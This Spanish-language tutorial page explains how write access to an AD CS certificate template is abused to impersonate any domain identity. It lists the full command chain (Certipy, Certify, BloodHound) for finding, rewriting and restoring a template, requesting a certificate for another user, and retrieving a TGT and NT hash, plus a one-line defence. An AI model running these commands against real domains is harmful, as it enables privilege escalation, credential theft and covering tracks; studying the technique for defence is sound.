Escalada

Abuso de permisos en AD CS Templates

Cómo un permiso de escritura sobre una plantilla de AD CS se vuelve un certificado que autentica como cualquier identidad del dominio.

Qué es

El abuso de permisos en AD CS Templates reescribe una plantilla segura para volverla vulnerable. Con permiso de escritura sobre el objeto de la plantilla, el atacante crea la mala configuración que necesita. Después pide un certificado y autentica como cualquier identidad del dominio.

Cómo funciona

Un AD CS Template es un objeto de AD con un descriptor de seguridad. Si ese descriptor da escritura a un principal de bajo privilegio, ese principal cambia las propiedades de la plantilla. La CA no revisa si la plantilla cambió hace un momento: lee la configuración actual y la obedece. El atacante activa ENROLLEE_SUPPLIES_SUBJECT y un EKU de autenticación, pide un certificado con el sujeto de otra identidad y autentica por PKINIT. Al terminar, restaura la plantilla y borra el rastro del cambio.

Diagrama

Comandos

Buscar plantillas donde tienes escritura, desde Linux con Certipy:

certipy find -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -vulnerable -stdout

La misma enumeración desde Windows con Certify:

Certify.exe find /vulnerable

Mapear la ruta de escritura con BloodHound: recolecta, luego revisa el ACL en la interfaz:

bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -dc <HOST> -c All

Reescribir la plantilla segura y guardar la configuración original:

certipy template -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -template <TEMPLATE> -save-old

Pedir un certificado para otra identidad, con el sujeto que tú indicas:

certipy req -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -ca <CA> -template <TEMPLATE> -upn <TARGET>@<DOMAIN>

Autenticar por PKINIT y recuperar el TGT y el hash NT:

certipy auth -pfx <FILE> -dc-ip <IP>

Restaurar la plantilla a su configuración original:

certipy template -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -template <TEMPLATE> -configuration <FILE>

Cómo defenderse

Restringe la escritura sobre los objetos de plantilla a los administradores de la CA: sin escritura, nadie reescribe una plantilla segura.

Siguiente

Puedes seguir leyendo aquí:

EscaladaAbuso de permisos ACL

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.